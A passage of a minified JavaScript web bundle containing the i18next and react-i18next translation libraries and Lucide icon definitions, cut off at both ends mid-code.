y=i?.formatParams?.[i.interpolationkey]||{},x=y.locale||y.lng||i.locale||i.lng||r;m=this.formats[h](u,x,{...p,...i,...y})}catch(y){this.logger.warn(y)}return m}else this.logger.warn(`there was no format function for ${h}`);return u},t)}}const Q$=(e,t)=>{e.pending[t]!==void 0&&(delete e.pending[t],e.pendingCount--)};class J$ extends Ah{constructor(t,n,r,i={}){super(),this.backend=t,this.store=n,this.services=r,this.languageUtils=r.languageUtils,this.options=i,this.logger=kr.create("backendConnector"),this.waitingReads=[],this.maxParallelReads=i.maxParallelReads||10,this.readingCalls=0,this.maxRetries=i.maxRetries>=0?i.maxRetries:5,this.retryTimeout=i.retryTimeout>=1?i.retryTimeout:350,this.state={},this.queue=[],this.backend?.init?.(r,i.backend,i)}queueLoad(t,n,r,i){const l={},c={},u={},f={};return t.forEach(h=>{let p=!0;n.forEach(m=>{const y=`${h}|${m}`;!r.reload&&this.store.hasResourceBundle(h,m)?this.state[y]=2:this.state[y]<0||(this.state[y]===1?c[y]===void 0&&(c[y]=!0):(this.state[y]=1,p=!1,c[y]===void 0&&(c[y]=!0),l[y]===void 0&&(l[y]=!0),f[m]===void 0&&(f[m]=!0)))}),p||(u[h]=!0)}),(Object.keys(l).length||Object.keys(c).length)&&this.queue.push({pending:c,pendingCount:Object.keys(c).length,loaded:{},errors:[],callback:i}),{toLoad:Object.keys(l),pending:Object.keys(c),toLoadLanguages:Object.keys(u),toLoadNamespaces:Object.keys(f)}}loaded(t,n,r){const i=t.split("|"),l=i[0],c=i[1];n&&this.emit("failedLoading",l,c,n),!n&&r&&this.store.addResourceBundle(l,c,r,void 0,void 0,{skipCopy:!0}),this.state[t]=n?-1:2,n&&r&&(this.state[t]=0);const u={};this.queue.forEach(f=>{z$(f.loaded,[l],c),Q$(f,t),n&&f.errors.push(n),f.pendingCount===0&&!f.done&&(Object.keys(f.loaded).forEach(h=>{u[h]||(u[h]={});const p=f.loaded[h];p.length&&p.forEach(m=>{u[h][m]===void 0&&(u[h][m]=!0)})}),f.done=!0,f.errors.length?f.callback(f.errors):f.callback())}),this.emit("loaded",u),this.queue=this.queue.filter(f=>!f.done)}read(t,n,r,i=0,l=this.retryTimeout,c){if(!t.length)return c(null,{});if(this.readingCalls>=this.maxParallelReads){this.waitingReads.push({lng:t,ns:n,fcName:r,tried:i,wait:l,callback:c});return}this.readingCalls++;const u=(h,p)=>{if(this.readingCalls--,this.waitingReads.length>0){const m=this.waitingReads.shift();this.read(m.lng,m.ns,m.fcName,m.tried,m.wait,m.callback)}if(h&&p&&i{this.read.call(this,t,n,r,i+1,l*2,c)},l);return}c(h,p)},f=this.backend[r].bind(this.backend);if(f.length===2){try{const h=f(t,n);h&&typeof h.then=="function"?h.then(p=>u(null,p)).catch(u):u(null,h)}catch(h){u(h)}return}return f(t,n,u)}prepareLoading(t,n,r={},i){if(!this.backend)return this.logger.warn("No backend was added via i18next.use. Will not load resources."),i&&i();Te(t)&&(t=this.languageUtils.toResolveHierarchy(t)),Te(n)&&(n=[n]);const l=this.queueLoad(t,n,r,i);if(!l.toLoad.length)return l.pending.length||i(),null;l.toLoad.forEach(c=>{this.loadOne(c)})}load(t,n,r){this.prepareLoading(t,n,{},r)}reload(t,n,r){this.prepareLoading(t,n,{reload:!0},r)}loadOne(t,n=""){const r=t.split("|"),i=r[0],l=r[1];this.read(i,l,"read",void 0,void 0,(c,u)=>{c&&this.logger.warn(`${n}loading namespace ${l} for language ${i} failed`,c),!c&&u&&this.logger.log(`${n}loaded namespace ${l} for language ${i}`,u),this.loaded(t,c,u)})}saveMissing(t,n,r,i,l,c={},u=()=>{}){if(this.services?.utils?.hasLoadedNamespace&&!this.services?.utils?.hasLoadedNamespace(n)){this.logger.warn(`did not save key "${r}" as the namespace "${n}" was not yet loaded`,"This means something IS WRONG in your setup. You access the t function before i18next.init / i18next.loadNamespace / i18next.changeLanguage was done. Wait for the callback or Promise to resolve before accessing it!!!");return}if(!(r==null||r==="")){if(this.backend?.create){const f={...c,isUpdate:l},h=this.backend.create.bind(this.backend);if(h.length<6)try{let p;h.length===5?p=h(t,n,r,i,f):p=h(t,n,r,i),p&&typeof p.then=="function"?p.then(m=>u(null,m)).catch(u):u(null,p)}catch(p){u(p)}else h(t,n,r,i,u,f)}!t||!t[0]||this.store.addResource(t[0],n,r,i)}}}const jA=()=>({debug:!1,initAsync:!0,ns:["translation"],defaultNS:["translation"],fallbackLng:["dev"],fallbackNS:!1,supportedLngs:!1,nonExplicitSupportedLngs:!1,load:"all",preload:!1,simplifyPluralSuffix:!0,keySeparator:".",nsSeparator:":",pluralSeparator:"_",contextSeparator:"_",partialBundledLanguages:!1,saveMissing:!1,updateMissing:!1,saveMissingTo:"fallback",saveMissingPlurals:!0,missingKeyHandler:!1,missingInterpolationHandler:!1,postProcess:!1,postProcessPassResolved:!1,returnNull:!1,returnEmptyString:!0,returnObjects:!1,joinArrays:!1,returnedObjectHandler:!1,parseMissingKeyHandler:!1,appendNamespaceToMissingKey:!1,appendNamespaceToCIMode:!1,overloadTranslationOptionHandler:e=>{let t={};if(typeof e[1]=="object"&&(t=e[1]),Te(e[1])&&(t.defaultValue=e[1]),Te(e[2])&&(t.tDescription=e[2]),typeof e[2]=="object"||typeof e[3]=="object"){const n=e[3]||e[2];Object.keys(n).forEach(r=>{t[r]=n[r]})}return t},interpolation:{escapeValue:!0,format:e=>e,prefix:"{{",suffix:"}}",formatSeparator:",",unescapePrefix:"-",nestingPrefix:"$t(",nestingSuffix:")",nestingOptionsSeparator:",",maxReplaces:1e3,skipOnVariables:!0},cacheInBuiltFormats:!0}),PA=e=>(Te(e.ns)&&(e.ns=[e.ns]),Te(e.fallbackLng)&&(e.fallbackLng=[e.fallbackLng]),Te(e.fallbackNS)&&(e.fallbackNS=[e.fallbackNS]),e.supportedLngs?.indexOf?.("cimode")<0&&(e.supportedLngs=e.supportedLngs.concat(["cimode"])),typeof e.initImmediate=="boolean"&&(e.initAsync=e.initImmediate),e),Lf=()=>{},e6=e=>{Object.getOwnPropertyNames(Object.getPrototypeOf(e)).forEach(n=>{typeof e[n]=="function"&&(e[n]=e[n].bind(e))})};class yc extends Ah{constructor(t={},n){if(super(),this.options=PA(t),this.services={},this.logger=kr,this.modules={external:[]},e6(this),n&&!this.isInitialized&&!t.isClone){if(!this.options.initAsync)return this.init(t,n),this;setTimeout(()=>{this.init(t,n)},0)}}init(t={},n){this.isInitializing=!0,typeof t=="function"&&(n=t,t={}),t.defaultNS==null&&t.ns&&(Te(t.ns)?t.defaultNS=t.ns:t.ns.indexOf("translation")<0&&(t.defaultNS=t.ns[0]));const r=jA();this.options={...r,...this.options,...PA(t)},this.options.interpolation={...r.interpolation,...this.options.interpolation},t.keySeparator!==void 0&&(this.options.userDefinedKeySeparator=t.keySeparator),t.nsSeparator!==void 0&&(this.options.userDefinedNsSeparator=t.nsSeparator),typeof this.options.overloadTranslationOptionHandler!="function"&&(this.options.overloadTranslationOptionHandler=r.overloadTranslationOptionHandler);const i=h=>h?typeof h=="function"?new h:h:null;if(!this.options.isClone){this.modules.logger?kr.init(i(this.modules.logger),this.options):kr.init(null,this.options);let h;this.modules.formatter?h=this.modules.formatter:h=Z$;const p=new AA(this.options);this.store=new OA(this.options.resources,this.options);const m=this.services;m.logger=kr,m.resourceStore=this.store,m.languageUtils=p,m.pluralResolver=new G$(p,{prepend:this.options.pluralSeparator,simplifyPluralSuffix:this.options.simplifyPluralSuffix}),this.options.interpolation.format&&this.options.interpolation.format!==r.interpolation.format&&this.logger.deprecate("init: you are still using the legacy format function, please use the new approach: https://www.i18next.com/translation-function/formatting"),h&&(!this.options.interpolation.format||this.options.interpolation.format===r.interpolation.format)&&(m.formatter=i(h),m.formatter.init&&m.formatter.init(m,this.options),this.options.interpolation.format=m.formatter.format.bind(m.formatter)),m.interpolator=new NA(this.options),m.utils={hasLoadedNamespace:this.hasLoadedNamespace.bind(this)},m.backendConnector=new J$(i(this.modules.backend),m.resourceStore,m,this.options),m.backendConnector.on("*",(x,...S)=>{this.emit(x,...S)}),this.modules.languageDetector&&(m.languageDetector=i(this.modules.languageDetector),m.languageDetector.init&&m.languageDetector.init(m,this.options.detection,this.options)),this.modules.i18nFormat&&(m.i18nFormat=i(this.modules.i18nFormat),m.i18nFormat.init&&m.i18nFormat.init(this)),this.translator=new bd(this.services,this.options),this.translator.on("*",(x,...S)=>{this.emit(x,...S)}),this.modules.external.forEach(x=>{x.init&&x.init(this)})}if(this.format=this.options.interpolation.format,n||(n=Lf),this.options.fallbackLng&&!this.services.languageDetector&&!this.options.lng){const h=this.services.languageUtils.getFallbackCodes(this.options.fallbackLng);h.length>0&&h[0]!=="dev"&&(this.options.lng=h[0])}!this.services.languageDetector&&!this.options.lng&&this.logger.warn("init: no languageDetector is used and no lng is defined"),["getResource","hasResourceBundle","getResourceBundle","getDataByLanguage"].forEach(h=>{this[h]=(...p)=>this.store[h](...p)}),["addResource","addResources","addResourceBundle","removeResourceBundle"].forEach(h=>{this[h]=(...p)=>(this.store[h](...p),this)});const u=nc(),f=()=>{const h=(p,m)=>{this.isInitializing=!1,this.isInitialized&&!this.initializedStoreOnce&&this.logger.warn("init: i18next is already initialized. You should call init just once!"),this.isInitialized=!0,this.options.isClone||this.logger.log("initialized",this.options),this.emit("initialized",this.options),u.resolve(m),n(p,m)};if(this.languages&&!this.isInitialized)return h(null,this.t.bind(this));this.changeLanguage(this.options.lng,h)};return this.options.resources||!this.options.initAsync?f():setTimeout(f,0),u}loadResources(t,n=Lf){let r=n;const i=Te(t)?t:this.language;if(typeof t=="function"&&(r=t),!this.options.resources||this.options.partialBundledLanguages){if(i?.toLowerCase()==="cimode"&&(!this.options.preload||this.options.preload.length===0))return r();const l=[],c=u=>{if(!u||u==="cimode")return;this.services.languageUtils.toResolveHierarchy(u).forEach(h=>{h!=="cimode"&&l.indexOf(h)<0&&l.push(h)})};i?c(i):this.services.languageUtils.getFallbackCodes(this.options.fallbackLng).forEach(f=>c(f)),this.options.preload?.forEach?.(u=>c(u)),this.services.backendConnector.load(l,this.options.ns,u=>{!u&&!this.resolvedLanguage&&this.language&&this.setResolvedLanguage(this.language),r(u)})}else r(null)}reloadResources(t,n,r){const i=nc();return typeof t=="function"&&(r=t,t=void 0),typeof n=="function"&&(r=n,n=void 0),t||(t=this.languages),n||(n=this.options.ns),r||(r=Lf),this.services.backendConnector.reload(t,n,l=>{i.resolve(),r(l)}),i}use(t){if(!t)throw new Error("You are passing an undefined module! Please check the object you are passing to i18next.use()");if(!t.type)throw new Error("You are passing a wrong module! Please check the object you are passing to i18next.use()");return t.type==="backend"&&(this.modules.backend=t),(t.type==="logger"||t.log&&t.warn&&t.error)&&(this.modules.logger=t),t.type==="languageDetector"&&(this.modules.languageDetector=t),t.type==="i18nFormat"&&(this.modules.i18nFormat=t),t.type==="postProcessor"&&uM.addPostProcessor(t),t.type==="formatter"&&(this.modules.formatter=t),t.type==="3rdParty"&&this.modules.external.push(t),this}setResolvedLanguage(t){if(!(!t||!this.languages)&&!(["cimode","dev"].indexOf(t)>-1)){for(let n=0;n-1)&&this.store.hasLanguageSomeTranslations(r)){this.resolvedLanguage=r;break}}!this.resolvedLanguage&&this.languages.indexOf(t)<0&&this.store.hasLanguageSomeTranslations(t)&&(this.resolvedLanguage=t,this.languages.unshift(t))}}changeLanguage(t,n){this.isLanguageChangingTo=t;const r=nc();this.emit("languageChanging",t);const i=u=>{this.language=u,this.languages=this.services.languageUtils.toResolveHierarchy(u),this.resolvedLanguage=void 0,this.setResolvedLanguage(u)},l=(u,f)=>{f?this.isLanguageChangingTo===t&&(i(f),this.translator.changeLanguage(f),this.isLanguageChangingTo=void 0,this.emit("languageChanged",f),this.logger.log("languageChanged",f)):this.isLanguageChangingTo=void 0,r.resolve((...h)=>this.t(...h)),n&&n(u,(...h)=>this.t(...h))},c=u=>{!t&&!u&&this.services.languageDetector&&(u=[]);const f=Te(u)?u:u&&u[0],h=this.store.hasLanguageSomeTranslations(f)?f:this.services.languageUtils.getBestMatchFromCodes(Te(u)?[u]:u);h&&(this.language||i(h),this.translator.language||this.translator.changeLanguage(h),this.services.languageDetector?.cacheUserLanguage?.(h)),this.loadResources(h,p=>{l(p,h)})};return!t&&this.services.languageDetector&&!this.services.languageDetector.async?c(this.services.languageDetector.detect()):!t&&this.services.languageDetector&&this.services.languageDetector.async?this.services.languageDetector.detect.length===0?this.services.languageDetector.detect().then(c):this.services.languageDetector.detect(c):c(t),r}getFixedT(t,n,r){const i=(l,c,...u)=>{let f;typeof c!="object"?f=this.options.overloadTranslationOptionHandler([l,c].concat(u)):f={...c},f.lng=f.lng||i.lng,f.lngs=f.lngs||i.lngs,f.ns=f.ns||i.ns,f.keyPrefix!==""&&(f.keyPrefix=f.keyPrefix||r||i.keyPrefix);const h=this.options.keySeparator||".";let p;return f.keyPrefix&&Array.isArray(l)?p=l.map(m=>(typeof m=="function"&&(m=i0(m,{...this.options,...c})),`${f.keyPrefix}${h}${m}`)):(typeof l=="function"&&(l=i0(l,{...this.options,...c})),p=f.keyPrefix?`${f.keyPrefix}${h}${l}`:l),this.t(p,f)};return Te(t)?i.lng=t:i.lngs=t,i.ns=n,i.keyPrefix=r,i}t(...t){return this.translator?.translate(...t)}exists(...t){return this.translator?.exists(...t)}setDefaultNamespace(t){this.options.defaultNS=t}hasLoadedNamespace(t,n={}){if(!this.isInitialized)return this.logger.warn("hasLoadedNamespace: i18next was not initialized",this.languages),!1;if(!this.languages||!this.languages.length)return this.logger.warn("hasLoadedNamespace: i18n.languages were undefined or empty",this.languages),!1;const r=n.lng||this.resolvedLanguage||this.languages[0],i=this.options?this.options.fallbackLng:!1,l=this.languages[this.languages.length-1];if(r.toLowerCase()==="cimode")return!0;const c=(u,f)=>{const h=this.services.backendConnector.state[`${u}|${f}`];return h===-1||h===0||h===2};if(n.precheck){const u=n.precheck(this,c);if(u!==void 0)return u}return!!(this.hasResourceBundle(r,t)||!this.services.backendConnector.backend||this.options.resources&&!this.options.partialBundledLanguages||c(r,t)&&(!i||c(l,t)))}loadNamespaces(t,n){const r=nc();return this.options.ns?(Te(t)&&(t=[t]),t.forEach(i=>{this.options.ns.indexOf(i)<0&&this.options.ns.push(i)}),this.loadResources(i=>{r.resolve(),n&&n(i)}),r):(n&&n(),Promise.resolve())}loadLanguages(t,n){const r=nc();Te(t)&&(t=[t]);const i=this.options.preload||[],l=t.filter(c=>i.indexOf(c)<0&&this.services.languageUtils.isSupportedCode(c));return l.length?(this.options.preload=i.concat(l),this.loadResources(c=>{r.resolve(),n&&n(c)}),r):(n&&n(),Promise.resolve())}dir(t){if(t||(t=this.resolvedLanguage||(this.languages?.length>0?this.languages[0]:this.language)),!t)return"rtl";try{const i=new Intl.Locale(t);if(i&&i.getTextInfo){const l=i.getTextInfo();if(l&&l.direction)return l.direction}}catch{}const n=["ar","shu","sqr","ssh","xaa","yhd","yud","aao","abh","abv","acm","acq","acw","acx","acy","adf","ads","aeb","aec","afb","ajp","apc","apd","arb","arq","ars","ary","arz","auz","avl","ayh","ayl","ayn","ayp","bbz","pga","he","iw","ps","pbt","pbu","pst","prp","prd","ug","ur","ydd","yds","yih","ji","yi","hbo","men","xmn","fa","jpr","peo","pes","prs","dv","sam","ckb"],r=this.services?.languageUtils||new AA(jA());return t.toLowerCase().indexOf("-latn")>1?"ltr":n.indexOf(r.getLanguagePartFromCode(t))>-1||t.toLowerCase().indexOf("-arab")>1?"rtl":"ltr"}static createInstance(t={},n){const r=new yc(t,n);return r.createInstance=yc.createInstance,r}cloneInstance(t={},n=Lf){const r=t.forkResourceStore;r&&delete t.forkResourceStore;const i={...this.options,...t,isClone:!0},l=new yc(i);if((t.debug!==void 0||t.prefix!==void 0)&&(l.logger=l.logger.clone(t)),["store","services","language"].forEach(u=>{l[u]=this[u]}),l.services={...this.services},l.services.utils={hasLoadedNamespace:l.hasLoadedNamespace.bind(l)},r){const u=Object.keys(this.store.data).reduce((f,h)=>(f[h]={...this.store.data[h]},f[h]=Object.keys(f[h]).reduce((p,m)=>(p[m]={...f[h][m]},p),f[h]),f),{});l.store=new OA(u,i),l.services.resourceStore=l.store}return t.interpolation&&(l.services.interpolator=new NA(i)),l.translator=new bd(l.services,i),l.translator.on("*",(u,...f)=>{l.emit(u,...f)}),l.init(i,n),l.translator.options=i,l.translator.backendConnector.services.utils={hasLoadedNamespace:l.hasLoadedNamespace.bind(l)},l}toJSON(){return{options:this.options,store:this.store,language:this.language,languages:this.languages,resolvedLanguage:this.resolvedLanguage}}}const hn=yc.createInstance();hn.createInstance;hn.dir;hn.init;hn.loadResources;hn.reloadResources;hn.use;hn.changeLanguage;hn.getFixedT;hn.t;hn.exists;hn.setDefaultNamespace;hn.hasLoadedNamespace;hn.loadNamespaces;hn.loadLanguages;const t6=(e,t,n,r)=>{const i=[n,{code:t,...r||{}}];if(e?.services?.logger?.forward)return e.services.logger.forward(i,"warn","react-i18next::",!0);ao(i[0])&&(i[0]=`react-i18next:: ${i[0]}`),e?.services?.logger?.warn?e.services.logger.warn(...i):console?.warn&&console.warn(...i)},RA={},dM=(e,t,n,r)=>{ao(n)&&RA[n]||(ao(n)&&(RA[n]=new Date),t6(e,t,n,r))},hM=(e,t)=>()=>{if(e.isInitialized)t();else{const n=()=>{setTimeout(()=>{e.off("initialized",n)},0),t()};e.on("initialized",n)}},o0=(e,t,n)=>{e.loadNamespaces(t,hM(e,n))},DA=(e,t,n,r)=>{if(ao(n)&&(n=[n]),e.options.preload&&e.options.preload.indexOf(t)>-1)return o0(e,n,r);n.forEach(i=>{e.options.ns.indexOf(i)<0&&e.options.ns.push(i)}),e.loadLanguages(t,hM(e,r))},n6=(e,t,n={})=>!t.languages||!t.languages.length?(dM(t,"NO_LANGUAGES","i18n.languages were undefined or empty",{languages:t.languages}),!0):t.hasLoadedNamespace(e,{lng:n.lng,precheck:(r,i)=>{if(n.bindI18n&&n.bindI18n.indexOf("languageChanging")>-1&&r.services.backendConnector.backend&&r.isLanguageChangingTo&&!i(r.isLanguageChangingTo,e))return!1}}),ao=e=>typeof e=="string",r6=e=>typeof e=="object"&&e!==null,a6=/&(?:amp|#38|lt|#60|gt|#62|apos|#39|quot|#34|nbsp|#160|copy|#169|reg|#174|hellip|#8230|#x2F|#47);/g,i6={"&":"&","&":"&","<":"<","<":"<",">":">",">":">","'":"'","'":"'",""":'"',""":'"'," ":" "," ":" ","©":"©","©":"©","®":"®","®":"®","…":"…","…":"…","/":"/","/":"/"},o6=e=>i6[e],l6=e=>e.replace(a6,o6);let l0={bindI18n:"languageChanged",bindI18nStore:"",transEmptyNodeValue:"",transSupportBasicHtmlNodes:!0,transWrapTextNodes:"",transKeepBasicHtmlNodesFor:["br","strong","i","p"],useSuspense:!0,unescape:l6,transDefaultProps:void 0};const s6=(e={})=>{l0={...l0,...e}},c6=()=>l0;let pM;const u6=e=>{pM=e},f6=()=>pM,d6={type:"3rdParty",init(e){s6(e.options.react),u6(e)}},h6=v.createContext();class p6{constructor(){this.usedNamespaces={}}addUsedNamespaces(t){t.forEach(n=>{this.usedNamespaces[n]||(this.usedNamespaces[n]=!0)})}getUsedNamespaces(){return Object.keys(this.usedNamespaces)}}var pg={exports:{}},mg={};var kA;function m6(){if(kA)return mg;kA=1;var e=Ul();function t(m,y){return m===y&&(m!==0||1/m===1/y)||m!==m&&y!==y}var n=typeof Object.is=="function"?Object.is:t,r=e.useState,i=e.useEffect,l=e.useLayoutEffect,c=e.useDebugValue;function u(m,y){var x=y(),S=r({inst:{value:x,getSnapshot:y}}),w=S[0].inst,O=S[1];return l(function(){w.value=x,w.getSnapshot=y,f(w)&&O({inst:w})},[m,x,y]),i(function(){return f(w)&&O({inst:w}),m(function(){f(w)&&O({inst:w})})},[m]),c(x),x}function f(m){var y=m.getSnapshot;m=m.value;try{var x=y();return!n(m,x)}catch{return!0}}function h(m,y){return y()}var p=typeof window>"u"||typeof window.document>"u"||typeof window.document.createElement>"u"?h:u;return mg.useSyncExternalStore=e.useSyncExternalStore!==void 0?e.useSyncExternalStore:p,mg}var LA;function mM(){return LA||(LA=1,pg.exports=m6()),pg.exports}var v6=mM();const g6=(e,t)=>ao(t)?t:r6(t)&&ao(t.defaultValue)?t.defaultValue:Array.isArray(e)?e[e.length-1]:e,y6={t:g6,ready:!1},b6=()=>()=>{},xo=(e,t={})=>{const{i18n:n}=t,{i18n:r,defaultNS:i}=v.useContext(h6)||{},l=n||r||f6();l&&!l.reportNamespaces&&(l.reportNamespaces=new p6),l||dM(l,"NO_I18NEXT_INSTANCE","useTranslation: You will need to pass in an i18next instance by using initReactI18next");const c=v.useMemo(()=>({...c6(),...l?.options?.react,...t}),[l,t]),{useSuspense:u,keyPrefix:f}=c,h=i||l?.options?.defaultNS,p=ao(h)?[h]:h||["translation"],m=v.useMemo(()=>p,p);l?.reportNamespaces?.addUsedNamespaces?.(m);const y=v.useRef(0),x=v.useCallback(B=>{if(!l)return b6;const{bindI18n:q,bindI18nStore:U}=c,V=()=>{y.current+=1,B()};return q&&l.on(q,V),U&&l.store.on(U,V),()=>{q&&q.split(" ").forEach(oe=>l.off(oe,V)),U&&U.split(" ").forEach(oe=>l.store.off(oe,V))}},[l,c]),S=v.useRef(),w=v.useCallback(()=>{if(!l)return y6;const B=!!(l.isInitialized||l.initializedStoreOnce)&&m.every(ce=>n6(ce,l,c)),q=t.lng||l.language,U=y.current,V=S.current;if(V&&V.ready===B&&V.lng===q&&V.keyPrefix===f&&V.revision===U)return V;const le={t:l.getFixedT(q,c.nsMode==="fallback"?m:m[0],f),ready:B,lng:q,keyPrefix:f,revision:U};return S.current=le,le},[l,m,f,c,t.lng]),[O,A]=v.useState(0),{t:_,ready:T}=v6.useSyncExternalStore(x,w,w);v.useEffect(()=>{if(l&&!T&&!u){const B=()=>A(q=>q+1);t.lng?DA(l,t.lng,m,B):o0(l,m,B)}},[l,t.lng,m,T,u,O]);const j=l||{},M=v.useRef(null),P=v.useRef(),R=B=>{const q=Object.getOwnPropertyDescriptors(B);q.__original&&delete q.__original;const U=Object.create(Object.getPrototypeOf(B),q);if(!Object.prototype.hasOwnProperty.call(U,"__original"))try{Object.defineProperty(U,"__original",{value:B,writable:!1,enumerable:!1,configurable:!1})}catch{}return U},I=v.useMemo(()=>{const B=j,q=B?.language;let U=B;B&&(M.current&&M.current.__original===B?P.current!==q?(U=R(B),M.current=U,P.current=q):U=M.current:(U=R(B),M.current=U,P.current=q));const V=[_,U,T];return V.t=_,V.i18n=U,V.ready=T,V},[_,j,T,j.resolvedLanguage,j.language,j.languages]);if(l&&u&&!T)throw new Promise(B=>{const q=()=>B();t.lng?DA(l,t.lng,m,q):o0(l,m,q)});return I};const x6=e=>e.replace(/([a-z0-9])([A-Z])/g,"$1-$2").toLowerCase(),w6=e=>e.replace(/^([A-Z])|[\s-_]+(\w)/g,(t,n,r)=>r?r.toUpperCase():n.toLowerCase()),IA=e=>{const t=w6(e);return t.charAt(0).toUpperCase()+t.slice(1)},vM=(...e)=>e.filter((t,n,r)=>!!t&&t.trim()!==""&&r.indexOf(t)===n).join(" ").trim(),S6=e=>{for(const t in e)if(t.startsWith("aria-")||t==="role"||t==="title")return!0};var O6={xmlns:"http://www.w3.org/2000/svg",width:24,height:24,viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:2,strokeLinecap:"round",strokeLinejoin:"round"};const E6=v.forwardRef(({color:e="currentColor",size:t=24,strokeWidth:n=2,absoluteStrokeWidth:r,className:i="",children:l,iconNode:c,...u},f)=>v.createElement("svg",{ref:f,...O6,width:t,height:t,stroke:e,strokeWidth:r?Number(n)*24/Number(t):n,className:vM("lucide",i),...!l&&!S6(u)&&{"aria-hidden":"true"},...u},[...c.map(([h,p])=>v.createElement(h,p)),...Array.isArray(l)?l:[l]]));const Me=(e,t)=>{const n=v.forwardRef(({className:r,...i},l)=>v.createElement(E6,{ref:l,iconNode:t,className:vM(`lucide-${x6(IA(e))}`,`lucide-${e}`,r),...i}));return n.displayName=IA(e),n};const A6=[["path",{d:"M22 12h-2.48a2 2 0 0 0-1.93 1.46l-2.35 8.36a.25.25 0 0 1-.48 0L9.24 2.18a.25.25 0 0 0-.48 0l-2.35 8.36A2 2 0 0 1 4.49 12H2",key:"169zse"}]],xd=Me("activity",A6);const C6=[["path",{d:"M4.929 4.929 19.07 19.071",key:"196cmz"}],["circle",{cx:"12",cy:"12",r:"10",key:"1mglay"}]],zA=Me("ban",C6);const _6=[["path",{d:"M3 3v16a2 2 0 0 0 2 2h16",key:"c24i48"}],["path",{d:"M18 17V9",key:"2bz60n"}],["path",{d:"M13 17V5",key:"1frdt8"}],["path",{d:"M8 17v-3",key:"17ska0"}]],s0=Me("chart-column",_6);const T6=[["path",{d:"M20 6 9 17l-5-5",key:"1gmf2c"}]],gM=Me("check",T6);const N6=[["path",{d:"m6 9 6 6 6-6",key:"qrunsl"}]],Ch=Me("chevron-down",N6);const M6=[["path",{d:"m9 18 6-6-6-6",key:"mthhwq"}]],j6=Me("chevron-right",M6);const P6=[["path",{d:"m18 15-6-6-6 6",key:"153udz"}]],R6=Me("chevron-up",P6);const D6=[["circle",{cx:"12",cy:"12",r:"10",key:"1mglay"}],["path",{d:"m9 12 2 2 4-4",key:"dzmm74"}]],yM=Me("circle-check",D6);const k6=[["circle",{cx:"12",cy:"12",r:"10",key:"1mglay"}],["circle",{cx:"12",cy:"12",r:"1",key:"41hilf"}]],bM=Me("circle-dot",k6);const L6=[["circle",{cx:"12",cy:"12",r:"10",key:"1mglay"}],["path",{d:"m15 9-6 6",key:"1uzhvr"}],["path",{d:"m9 9 6 6",key:"z0biqf"}]],xM=Me("circle-x",L6);const I6=[["circle",{cx:"12",cy:"12",r:"10",key:"1mglay"}]],z6=Me("circle",I6);const $6=[["path",{d:"M12 6v6l4 2",key:"mmk7yg"}],["circle",{cx:"12",cy:"12",r:"10",key:"1mglay"}]],wM=Me("clock",$6);const B6=[["path",{d:"M11 10.27 7 3.34",key:"16pf9h"}],["path",{d:"m11 13.73-4 6.93",key:"794ttg"}],["path",{d:"M12 22v-2",key:"1osdcq"}],["path",{d:"M12 2v2",key:"tus03m"}],["path",{d:"M14 12h8",key:"4f43i9"}],["path",{d:"m17 20.66-1-1.73",key:"eq3orb"}],["path",{d:"m17 3.34-1 1.73",key:"2wel8s"}],["path",{d:"M2 12h2",key:"1t8f8n"}],["path",{d:"m20.66 17-1.73-1",key:"sg0v6f"}],["path",{d:"m20.66 7-1.73 1",key:"1ow05n"}],["path",{d:"m3.34 17 1.73-1",key:"nuk764"}],["path",{d:"m3.34 7 1.73 1",key:"1ulond"}],["circle",{cx:"12",cy:"12",r:"2",key:"1c9p78"}],["circle",{cx:"12",cy:"12",r:"8",key:"46899m"}]],SM=Me("cog",B6);const U6=[["path",{d:"M12 15V3",key:"m9g1x1"}],["path",{d:"M21 15v4a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2v-4",key:"ih7n3h"}],["path",{d:"m7 10 5 5 5-5",key:"brsn70"}]],H6=Me("download",U6);const q6=[["path",{d:"M21.54 15H17a2 2 0 0 0-2 2v4.54",key:"1djwo0"}],["path",{d:"M7 3.34V5a3 3 0 0 0 3 3a2 2 0 0 1 2 2c0 1.1.9 2 2 2a2 2 0 0 0 2-2c0-1.1.9-2 2-2h3.17",key:"1tzkfa"}],["path",{d:"M11 21.95V18a2 2 0 0 0-2-2a2 2 0 0 1-2-2v-1a2 2 0 0 0-2-2H2.05",key:"14pb5j"}],["circle",{cx:"12",cy:"12",r:"10",key:"1mglay"}]],F6=Me("earth",q6);const V6=[["path",{d:"M15 3h6v6",key:"1q9fwt"}],["path",{d:"M10 14 21 3",key:"gplh6r"}],["path",{d:"M18 13v6a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2V8a2 2 0 0 1 2-2h6",key:"a6xqqp"}]],K6=Me("external-link",V6);const Y6=[["path",{d:"M6 22a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2h8a2.4 2.4 0 0 1 1.704.706l3.588 3.588A2.4 2.4 0 0 1 20 8v12a2 2 0 0 1-2 2z",key:"1oefj6"}],["path",{d:"M14 2v5a1 1 0 0 0 1 1h5",key:"wfsgrz"}],["path",{d:"M10 12a1 1 0 0 0-1 1v1a1 1 0 0 1-1 1 1 1 0 0 1 1 1v1a1 1 0 0 0 1 1",key:"1oajmo"}],["path",{d:"M14 18a1 1 0 0 0 1-1v-1a1 1 0 0 1 1-1 1 1 0 0 1-1-1v-1a1 1 0 0 0-1-1",key:"mpwhp6"}]],G6=Me("file-braces",Y6);const W6=[["path",{d:"M6 22a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2h8a2.4 2.4 0 0 1 1.704.706l3.588 3.588A2.4 2.4 0 0 1 20 8v12a2 2 0 0 1-2 2z",key:"1oefj6"}],["path",{d:"M14 2v5a1 1 0 0 0 1 1h5",key:"wfsgrz"}],["path",{d:"M8 13h2",key:"yr2amv"}],["path",{d:"M14 13h2",key:"un5t4a"}],["path",{d:"M8 17h2",key:"2yhykz"}],["path",{d:"M14 17h2",key:"10kma7"}]],X6=Me("file-spreadsheet",W6);const Z6=[["path",{d:"M10 20a1 1 0 0 0 .553.895l2 1A1 1 0 0 0 14 21v-7a2 2 0 0 1 .517-1.341L21.74 4.67A1 1 0 0 0 21 3H3a1 1 0 0 0-.742 1.67l7.225 7.989A2 2 0 0 1 10 14z",key:"sc7q7i"}]],Q6=Me("funnel",Z6);const J6=[["path",{d:"M15 22v-4a4.8 4.8 0 0 0-1-3.5c3 0 6-2 6-5.5.08-1.25-.27-2.48-1-3.5.28-1.15.28-2.35 0-3.5 0 0-1 0-3 